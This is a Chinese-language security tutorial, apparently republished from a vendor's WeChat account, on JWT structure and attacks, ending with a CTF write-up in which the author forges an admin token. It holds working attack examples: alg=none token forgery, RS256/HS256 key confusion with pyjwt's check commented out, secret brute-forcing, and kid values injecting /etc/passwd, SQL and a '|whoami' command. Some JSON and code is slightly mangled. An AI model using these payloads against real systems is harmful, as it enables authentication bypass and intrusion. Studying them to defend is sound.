揭示JWT开放标准的认证安全问题

admin 2024年3月13日15:20:28评论4 views字数 7099阅读23分39秒阅读模式
JWT(JSON Web Token)是一种用于身份验证和授权的开放标准,它被广泛用于Web应用程序中。然而,尽管JWT是一种流行的身份验证机制,但它也可存在一些安全漏洞。

 JWT原理 

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

{
  "姓名""张三",
  "角色""管理员",
  "到期时间""2024年1月1日0点0分"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

 JWT的数据结构 

实际的 JWT 大概就像下面这样。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

它是一个很长的字符串,中间用点(.)分隔成三个部分。

JWT 的三个部分依次如下。
Header(头部)
Payload(负载)
Signature(签名)

Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。

{
  "alg""HS256",
  "typ""JWT"
}

上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。

最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。

{
  "sub""1234567890",
  "name""John Doe",
  "admin"true
}

注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。这个 JSON 对象也要使用 Base64URL 算法转成字符串。

Signature 部分是对前两部分的签名,防止数据篡改。首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。

前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。WT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。

完整token生成,python安装pyjwt

pip install pyjwt
token生成
import jwt
key='secret_key'
encoded_jwt=jwt.encode({'username':'admin'},key,algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt,key,algorithms='HS256'))

运行结果

b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.g0te4fe0-MjFyCTUVOjaq_ipV7em82cF06lzPOq3SkE'
{'username''admin'}

 JWT的使用方式 

客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。

Authorization: Bearer <token>

另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。

jwt的在线解密地址: http://jwt.calebb.net/
jwt的在线加解密:地址https://jwt.io/

 JWT的攻击方式 

一些JWT 漏洞相关的源码: https://github.com/Sjord/jwtdemo/

01

敏感信息泄露

由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。

02

加密算法篡改

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段

{
    "alg" : "None",
    "typ" : "jwt"
}
{
    "user" : "Admin"
}
生成的完整token为
ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

(header+’.’+payload,去掉了’.’+signature字段)

示例
import base64
def b64urlencode(data):
  return base64.b64encode(data).replace('+''-').replace('/''_').replace('=''')

payload='{"username":"test"}'

header="{"alg":"none","typ":"JWT"}"
print b64urlencode(header) + '.'+ b64urlencode(payload)+ '.'

或者

import jwt

data={
  "username":"test"
}
print(jwt.encode(data,"",algorithm='none'))
output
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.

将output的字符串放入到

http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php 中

揭示JWT开放标准的认证安全问题

将RS256算法改为HS256

HS256算法使用密钥为所有消息进行签名和验证,对称密码算法。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证,非对称密码算法。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

示例:

RSA公钥:

http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

import jwt

public = open('public.pem''r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

直接运行如上代码的会报错,pyjwt进行了判断。

jwt/algorithms.py
def prepare_key(self, key):
        key = force_bytes(key)

        invalid_strings = [
            b'-----BEGIN PUBLIC KEY-----',
            b'-----BEGIN CERTIFICATE-----',
            b'-----BEGIN RSA PUBLIC KEY-----',
            b'ssh-rsa'
        ]

        if any([string_value in key for string_value in invalid_strings]):
            raise InvalidKeyError(
                'The specified key is an asymmetric key or x509 certificate and'
                ' should not be used as an HMAC secret.')

        return key

prepare_key会判断是否有非法字符,简单粗暴的注释掉

def prepare_key(self, key):
    key = force_bytes(key)

    invalid_strings = [
        b'-----BEGIN PUBLIC KEY-----',
        b'-----BEGIN CERTIFICATE-----',
        b'-----BEGIN RSA PUBLIC KEY-----',
        b'ssh-rsa'
    ]

    #if any([string_value in key for string_value in invalid_strings]):
        #raise InvalidKeyError(
           # 'The specified key is an asymmetric key or x509 certificate and'
           # ' should not be used as an HMAC secret.')

    return key
运行结果为
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
KwIDAQAB
-----END PUBLIC KEY-----

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCJ9.c-yX20a99ofP2yImxNn3vMtOgRvYqM4Xs8AZBMZ1aug

03

爆破HS256密钥

不过对 JWT 的密钥爆破需要在一定的前提下进行:
  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

相关爆破工具:

  • c-jwt-cracker:https://github.com/brendan-rius/c-jwt-cracker

  • JWTPyCrack:https://github.com/Ch1ngg/JWTPyCrack

04

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/home/jwt/.ssh/pem"
}
因为该参数可以由用户输入,所以也可能造成一些安全问题。

05

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

06

SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}

07

命令注入

对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

"/path/to/key_file|whoami"
对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

08

修改JKU/X5U参数

JKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式。

 例题 

01

[CISCN2019 华北赛区 Day1 Web2] ikun

首页提示 ikun们冲鸭,一定要买到lv6!!!,一直点击下一页,没有找到lv6,写个脚本寻找一下

from time import sleep
import requests
url="http://fe7b0375-7ea6-429f-bb30-8f39d45b0ab4.node3.buuoj.cn/shop?page="
for i in range(0,500):
    r=requests.get(url+str(i))
    sleep(0.3)
    if 'lv6.png' in r.text:
        print(i)
        break

可以找到lv6在181页中,进去查看后,发现要1145141919.0。随便测试一个test账号,账户余额1000元,远远不足。

尝试抓包修改一下价格或折扣,修改价格时操作失败,修改折扣时,跳转到/b1g_m4mber 页面,显示只有admin才能访问。这里使用的是JWT认证,将cookie中的JWT拿去解密https://jwt.io/

揭示JWT开放标准的认证安全问题

可以得知使用的是HS256加密,要伪造的话,这里需要爆破secret的值,或者将alg修改为none,尝试一下。
alg修改为none
import jwt

data={
    "username":"test"
}
print(jwt.encode(data,"",algorithm='none'))
output:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.

将生成的jwt字符串替换掉cookie原来的jwt,访问服务器报错失败

爆破secret的值

揭示JWT开放标准的认证安全问题

得到secret为1Kun

import jwt

payload={
    "username":"admin"
}
secret="1Kun"
print(jwt.encode(payload,secret,algorithm="HS256"))

output:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
修改JWT后,成功以admin的身份登录。

原文始发于微信公众号(山石网科安全技术研究院):揭示JWT开放标准的认证安全问题

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月13日15:20:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   揭示JWT开放标准的认证安全问题http://cn-sec.com/archives/2566533.html

发表评论

匿名网友 填写信息